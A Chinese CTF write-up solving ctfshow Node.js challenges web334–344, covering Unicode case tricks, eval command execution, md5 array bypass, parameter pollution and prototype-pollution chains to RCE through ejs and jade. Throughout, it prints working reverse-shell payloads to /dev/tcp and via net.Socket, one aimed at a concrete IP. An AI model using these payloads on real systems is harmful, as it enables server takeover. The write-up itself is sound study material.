抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

web342 很刺激 (

感觉对原型链污染理解又加深了呢~

web334 JS 大小写特性

搜集了半天信息,发现题目描述处有源码可以直接下载。。

user.js

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

即满足

1
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

我们输入的 name 不为 CTFSHOW 然后 name 转换后的大写为 CTFSHOW ,密码为 123456 即可。

image.png

网上看了一下,其实想要的考点是

toUpperCase() 函数,字符 ı 会转变为 I ,字符 ſ 会变为 S 。

toLowerCase() 函数中,字符 İ 会转变为 i ,字符 K 会转变为 k 。

可以参考

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

这样的应该是,比如字符 sS 不能出现在输入字符中就好了。

web335 RCE

f12 源码提示

1
<!-- /?eval= -->

即简单命令执行

1
/?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

获取 flag

1
/?eval=require(%27child_process%27).spawnSync(%27cat%27,[%27fl00g.txt%27]).stdout.toString()

image.png

web336 RCE 黑名单绕过

f12 源码提示

1
<!-- /?eval= -->

即简单命令执行

1
/?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

获取 flag

1
/?eval=require(%27child_process%27).spawnSync(%27cat%27,[%27fl001g.txt%27]).stdout.toString()

emm 好像就 flag 文件换了个名字?

顺便收集多几个命令执行

1
2
3
require('child_process').spawnSync('ls',['.']).stdout.toString()
require('child_process').execSync('ls').toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

收集过程中发现,原来第 2、3 个 被禁了,2333 原来考察黑名单

先通过全局变量读取当前目录位置

1
/?eval=__filename

image.png

当前目录

1
/?eval=__dirname

读文件

1
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

发现过滤了exec和load

image.png

绕过方法

1
?eval=require('child_process')['exe'+'cSync']('ls').toString()

因为 require('child_process') 方法返回一个对象,可以通过类型 Python数组的方式去访问里面的成员。

或者用其他模块读文件

1
2
/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt','utf-8')

当然还有其他姿势,比如变量拼接在执行

1
var%20s=%27global.process.mainModule.constructor._lo%27;var%20b="ad(%27child_process%27).ex";var%20c="ec(%27cat+fl001g.txt>public/1.txt%27);";eval(s%2Bb%2Bc);

web337 md5绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

和 PHP 一样,数组绕过即可

1
/?a[]=1&b=1

image.png

发现这样更易于理解

payload: a[x]=1&b[x]=2

运行一下代码

1
2
3
4
5
6
7
8
9
10
11
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

image.png

web338 原型链污染

题目描述处蓝奏云下载源码

📎web338.zip

先看看这篇文章了解一波什么是 JS 的原型链污染

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

关键代码

utils/common.js

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

routes/login.js

1
2
3
4
5
6
var secert = {};
....
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}

也就是说,我们不用关心 secert 是否有 ctfshow 这个属性,因为当它找不到这个属性时,它会从它自己的原型里找。

这里的 secert 是一个数组,然后 utils.copy(user,req.body); 操作是 user 也是数组,也就是我们通过 req.body 即 POST 请求体传入参数,通过 user 污染数组的原型,那么 secert 数组找不到 ctfshow 属性时,会一直往原型找,直到在数组原型中发现 ctfshow 属性值为 36dboy 。那么 if 语句即判断成功,就会输出 flag 了。

payload

1
{"__proto__": {"ctfshow": "36dboy"}}

image.png

一般遇到这种整套代码,特别是带有 package.json 的,可以尝试 snyk

image.png

发现个 ejs 的 RCE

https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}

先污染参数

image.png

然后随便请求一下,触发 render 方法

image.png

成功反弹 shell

image.png

不过 snyk 给出的 poc 用 filename 参数利用好像有点问题, 不太清楚为啥。。即

1
{"__proto__":{"filename":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}

顺便记录一下 node 项目本地启动方法,在项目文件运行下面命令即可。

1
npm start

image.png

默认端口为 3000

web339 原型链污染 +

node/v10.19.0

题目描述处蓝奏云下载源码

📎web339.zip

和 web338 有点相似,不过不同点是

1
2
3
4
5
6
var flag='flag_here';
....
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}

flag 是变量,具体值不知

然后还多了个 api.js ,主要关注这行

1
res.render('api', { query: Function(query)(query)});

是不是和 web338 里的参考链接 PHITHON 师傅出的 Code-Breaking 2018 Thejs 如出一辙?即可以 RCE,因为这里可污染点存在的匿名函数调用

https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L225

image.png

仿照题目中的代码,先写个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

user = {}
body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
copy(user, body)
{ query: Function(query)(query)}

image.png

为什么 query 的值是 2233 呢?也就是为啥会被调用了呢?

首先看看 query 值是如何被改变的,其实就是通过 web338 的原型链污染,即 JS 中所有的对象的原型都可以继承到 Object,然后终点是 null 对象

image.png

如 web338 中所说的,当在当前上下文找不到相应对象时,会遍历 Object 对象是否存在相应的属性。

image.png

到这里就很清楚的知道了,为什么 query 的值是 "return 2233" ,因为在调用 copy 时,原型链被污染了。

至于 { query: Function(query)(query)} 为何为 { query: 2233 }

JS 的函数实际上都是一个 Function 对象,它的参数为

1
new Function ([arg1[, arg2[, ...argN]],] functionBody)

写个小demo

image.png

Function 对象传入构造函数里的前面参数是函数的形参,当然可以省略,最后的形参写函数体。

其实作用和 eval 有点类似,详细可以看

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

至此,利用思路明确了,只要污染了 query 对象,就可以执行任意我们想执行的代码,比如反弹个 shell 再获取 flag ~

然后污染点和 web338 一致,在 login.js 里的 utils.copy(user,req.body); ,代码执行的触发点在 api.jsres.render('api', { query: Function(query)(query)}); 处。

payload ,这里用 nodejs 原生 socket,防止因系统运行环境问题 shell 弹不回来,这里服务器的监听端口为 2233 ,然后如何是 windows 系统就把 /bin/sh 换成 cmd.exe 应该就可以了。

1
{"__proto__": {"query": "return (function(){var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}

先本地试试,这里服务器监听端口为 2233

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

user = {}
body = JSON.parse('{"__proto__": {"query": "return (function(){var net = require(\'net\'),cp = require(\'child_process\'),sh = cp.spawn(\'/bin/sh\', []);var client = new net.Socket();client.connect(2233, \'服务器IP\', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}');
copy(user, body)
{ query: Function(query)(query)}

image.png

image.png

ok,没啥大问题。

先 POST 一下 login 接口,污染 query 对象

image.png

然后直接 POST 一下 api 接口即可。

emm,发现不行,之后访问 /login/api 接口都是 404 找不到文件 ,shell 也反弹不回来。

试试别人的

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}

image.png

image.png

flag

image.png

仔细对比了一下,发现了,感觉是命名空间问题,即 require 可能不被识别,尝试把 require 改为 global.process.mainModule.constructor._load ,同样服务器监听端口为 2233

1
{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}

也是先 POST /login 接口污染 query 对象

image.png

访问下 /api 接口

image.png

反弹 shell 并获取 flag

image.png

然后顺便翻了个链接,好像确实如此~

https://stackoverflow.com/questions/31931614/require-is-not-defined-node-js

因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。

还有一个其他解,见 web338 中的 ejs RCE,一样的EXP、步骤和利用方式

web340 原型连污染 ++

nodejs/v10.19.0

题目描述处蓝奏云下载源码

📎web340.zip

提取关键部分

1
2
3
4
5
6
7
8
9
10
11
12
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}

image.png

发现 userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象。

和 web339 一样,只不过要套两层才能污染 Object 对象,同样用原生 socket,服务端监听端口为 2233

1
{"__proto__":{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}

同样 POST 一下 /login 接口污染 query 对象

image.png

POST 一下 /api 接口触发

image.png

获取 flag

image.png

web341 原型链污染 +++

题目描述处蓝奏云下载源码

📎web341.zip

这题和其他不同的是没有 /api 接口触发污染点了,所以使用 web338 中的 ejs RCE。

然后像 web340 一样污染要套两层。下面 EXP 也服务器监听端口是 2233

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}

注意这里的前面的 _tmp1; 和后面的 var __tmp2 不能删,web338 evil0 的分析有体现到,是为了闭合代码。

同样 POST 一下 /login 接口污染数据

image.png

然后请求一个会调用 render 方法的接口

image.png

即可获得 flag

image.png

web342 原型链污染 ++++

题目描述处蓝奏云下载源码

📎web342.zip

然后还有个提示

审计了1个小时发现的,此链目前网上未公开,难度稍大

本题就不是用 ejs 进行模板渲染了,而是使用了 jade

一开始想看其他师傅的文章

https://xz.aliyun.com/t/7025

emm,但是发现说的每个字都认识,连起来就觉得有点莫名其妙了。。于是想着先自己手动分析一下,熟悉一波,方便自己和师傅在同一个频道上,防止师傅说的每句话都感觉莫名其妙…

详细的断点分析参考

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/#0x02-jade

这里用 VS Code 来 debug 分析

image.png

就会自动创建这样一个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "pwa-node",
"request": "launch",
"name": "Launch Program",
"skipFiles": [
"<node_internals>/**"
],
"program": "${workspaceFolder}/bin/www"
}
]
}

然后下个断点,运行一下,访问网页就可以开始愉快的 debug 了

image.png

这里直接用 ctfshow web342 的代码进行

image.png

依次进入 res.render=>app.render=>tryRender=>view.render=>this.engine

image.png

入口是 rederFile 方法,注意 renderFile 函数返回值可执行

image.png

进入 handleTemplateCache

image.png

进入 compile 函数

image.png

205行 有个 parse 解析,可以看到结果返回到 parsed,又传递给了 fn,先不管 parse 方法,继续向下看代码

218行 这里就比较有趣了,有个看似可控的代码执行(new Function,这个在 web339 有提到)

进入 parse 看看返回值中是否有可控部分

image.png

parse 方法内部可以看到先内部 parse 再内部 compile,内部 parse 结果最终会被拼接到外层 parse 函数返回值部分

即 114行的 js对象 被拼接到 148行 或 149行的 js对象 里,最终拼接到 body键 返回

image.png

先跟进 114行compile 方法,发现本方法返回的是 buf

image.png

跟进 66行的 this.visit(this.node);

image.png

发现可控(因为 node.filenameutils.stringify() 了)的 node.line 可以被 pushbuf 中,条件是 this.debug=true

然后在 212行的 this.visitNode(node); 去遍历 ast 树,遍历完后回到 compile 方法

image.png

可以看到 node.line 被记录到 fn 中,然后通过 Function 调用执行这部分代码。

也就是说如果我们可以污染 node.line 就可以运行我们代码。

也就是说 jade 本身是没有漏洞的,因为模板的渲染逻辑是如何,但问题是,如果存在可控的原型链污染,就可以帮助我们污染 node.line

于是尝试 POST /login 接口

1
{"__proto__":{"__proto__":{"line":"global.process.mainModule.require('child_process').execSync('whoami')"}}}

断点发现,, node.line 值还是 012 之类的?

突然醒悟,,还有一个问题,我们在调试过程中发现,node.line 是存在值的,比如上图中的 012 ,如果存在值的话,它会直接获取这个值,而不是获取我们污染过的 Object 对象里的值!

其实原型链污染的利用核心就是:访问对象的属性/值为 undefined 才行,不然我们污染 Object 对象就没有意义了。

现在看这篇文章就能看懂了,而且发现总结的非常好。。

https://xz.aliyun.com/t/7025

好的,在同一频道上了。

先梳理上面分析的函数调用栈,我们断点入口在 routes/index.js res.render('index',{title:'ctfshow'}); ,调用栈如下

  1. routes/index.js :: res.render

  2. jade/lib/index.js :: exports.__express

  3. jade/lib/index.js :: exports.renderFile

    1. jade/lib/index.js :: handleTemplateCache
  4. jade/lib/index.js :: exports.compile

    1. jade/lib/index.js :: parse -> compiler.compile();
      1. jade/lib/compiler.js :: Compiler.compile -> this.visit(this.node)
      2. jade/lib/compiler.js :: this.visit
      3. jade/lib/compiler.js :: this.buf.push
    1. jade/lib/index.js :: parse -> options.self
    2. jade/lib/index.js :: fn = new Function(‘locals, jade’, fn)
    3. jade/lib/index.js :: fn(locals, Object.create(runtime))

至 4. a. iii. 这部分调用栈用下图,4. b. c. d. 的在上面 debug 也有提及,因此调用栈这部分问题不大

image.png

问题有 3

  1. visit 方法中 this.debug=true ,不然 this.buf.push 调用不了
  2. 在上面提到的:node.line 在某处为 undefined 才行,不然我们污染的 Object 对象就没意义
  3. 保证能够执行到渲染阶段,因为覆盖某些属性会导致莫名其妙的异常

第 1 个问题容易解决,因为在 Jade 入口 exports.__express ,我们上面 deubg 分析时也看到

1
2
3
4
5
6
exports.__express = function (path, options, fn) {
if (options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}

options.compileDebug 无初始值,可以覆盖开启 Debug 模式(经分析,this.debug 获取的就是这里的 debug 值),当然也有另外一种情况,部署时,没有正确配置 req.app.get('env') 导致 debug 模式开启,那么这个变量也可以不用覆盖,但为了确保通用性,这里还是覆盖一下,防止正确配置,2333。

这里因 utils.copy(user.userinfo,req.body); 与 web341一样,userinfo.__proto__.__proto__ 才是 Object 对象的原型,所以要套两层。

1
{"__proto__":{"__proto__":{"compileDebug":1}}}

先打一下

image.png

第 3 个问题提前出现了,要先解决这个问题,保证代码能够执行到渲染阶段

image.png

和先知文章里不同,这里报错有点不一样,先跟进 Compiler.visitNode 225行看一下

image.png

拼接一下,发现没有这个方法

image.png

在遍历AST树时,通常是通过 "visit" + 节点类型 来遍历所有节点的,观察错误调用栈也知,比如 visitBlock,就是访问 Block 节点。那 Block 可用,我们就污染一下 type 就好了,当它当前上下文找不到就去找 Object 了。

当然选取时,最好是选的节点附带的上下文信息进入后,啥事也不会做的,不然也有走向奇奇怪怪的逻辑,先来看看 Block 节点。

image.png

这里加上这部分逻辑,来看看我们故意伪造 Block 节点会发生什么

1
2
3
if (node.type == undefined) {
return this['visit' + 'Block'](node);
}

image.png

这里 block.nodesundefined ,然后 undefined.length

image.png

明显,这样访问会报错,导致进入其他错误,然后 jade 没有对这块异常进行处理。

也就是说,如果 vist 的节点不是这种 block.子属性.孙子属性 问题应该不大。顶多一个 undefined 然后直接结束啥的,这里试试 visitCode

image.png

正常走到后面,没有报错,期间只触发了 this.buf.push(code.val) ,问题应该不大。

image.png

尝试污染 typeCode

1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code"}}}

image.png

好耶,像是解决了,因为这个报错和先知文章报错一致。

image.png

尝试解决这个报错,因为看错误调这里好像还没到渲染成功的地方。

分析这个错误栈,可以看到前 4 点还是属于 jade 范畴。先跟进 jade 模块最后报错的地方,即 jade/libindex.js 149行的 parse 方法,

image.png

发现,程序已经走完刚刚AST遍历部分了,已经差不多要返回了。

感觉只要避免进入149行的 addWith 方法,就可以渲染成功了!

然后进入149行的 addWith 方法是满足147行的 options.self 值为 False,尝试下看看这个 options.self 默认是不是 undefined,如果是就可以污染了。

image.png

nice,就是 undefined ,尝试污染 selftrue1 也可以

1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1}}}

image.png

image.png

!!!终于走到渲染这一步了!

看到 undefined 好说,污染就完事了 (

1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari"}}}

到这 index 的页面渲染就没啥问题了,到 第 2 个问题,node.line 在某处为 undefined 才行,不然我们污染的 Object 对象就没意义

这里如果一步一步动态调试会比较麻烦,直接注入测试即可

image.png

发现都 nodeBlock 的时候 line 是不存在的。

image.png

理论上,只要覆盖了 node.line 即可达到代码执行的目的。

然后拼接上面避免报错的参数,得到

1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari","line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/2233>&1\"')"}}}

反弹 Shell

image.png

再 POST一次,发送的数据包不用变

image.png

不就少了个 message,那我污染你呗,,然后 message 后又说少了 error 继续污染,然后 error 是一个对象,就需要弄个 json 格式数据啦。

image.png

emmm,到这,其实一开始就犯了个很蠢的错。。。其实一开始就应该污染 line 先的,然后在试 compileDebugtypeself,蠢哭了,,因为,如果不污染 line 先的话,不能保证在 line 正确的情况下试其他的,就会导致,,其他对了,加上 line 就错了。。

其实这里,压根就不用污染 title,如果是 先污染 line,然后到 compileDebugtypeself 会发现,到 self 这就可以成功反弹 shell 了,人都傻了。。。

最终 EXP

1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')"}}}

image.png

不用变,在POST一次即可

image.png

原本想用原生Socket的,不知道为啥老是报错,奇怪,,难道闭合不了?

image.png

1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}

web343 原型链污染 +++++

说有过滤,但 web342一样的 EXP 也可以打,反弹shell后看源码才发现确实多了点东西

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
if(JSON.stringify(req.body).match(/Text/ig)){
res.end('hacker go away');
}else{
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

}


});

module.exports = router;

emmm 有点不懂这个 JSON.stringify(req.body).match(/Text/ig) 过滤有啥意义就是了。。

和web342一样的EXP

image.png

image.png

web344 HPP

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

即 url 中不能包含大小写 8c2c逗号

先构造一个正常请求

1
/?query={"name":"admin","password":"ctfshow","isVIP":true}

发现题目会过滤掉逗号,尝试 URL 编码, urlencode(",") = %2c 发现 2c 也被过滤

HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些

https://www.cnblogs.com/AtesetEnginner/p/12375499.html

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

image.png

因此构造

1
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这里把 c进行url编码,是因为 双引号 的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。

image.png


一些参考的题解

评论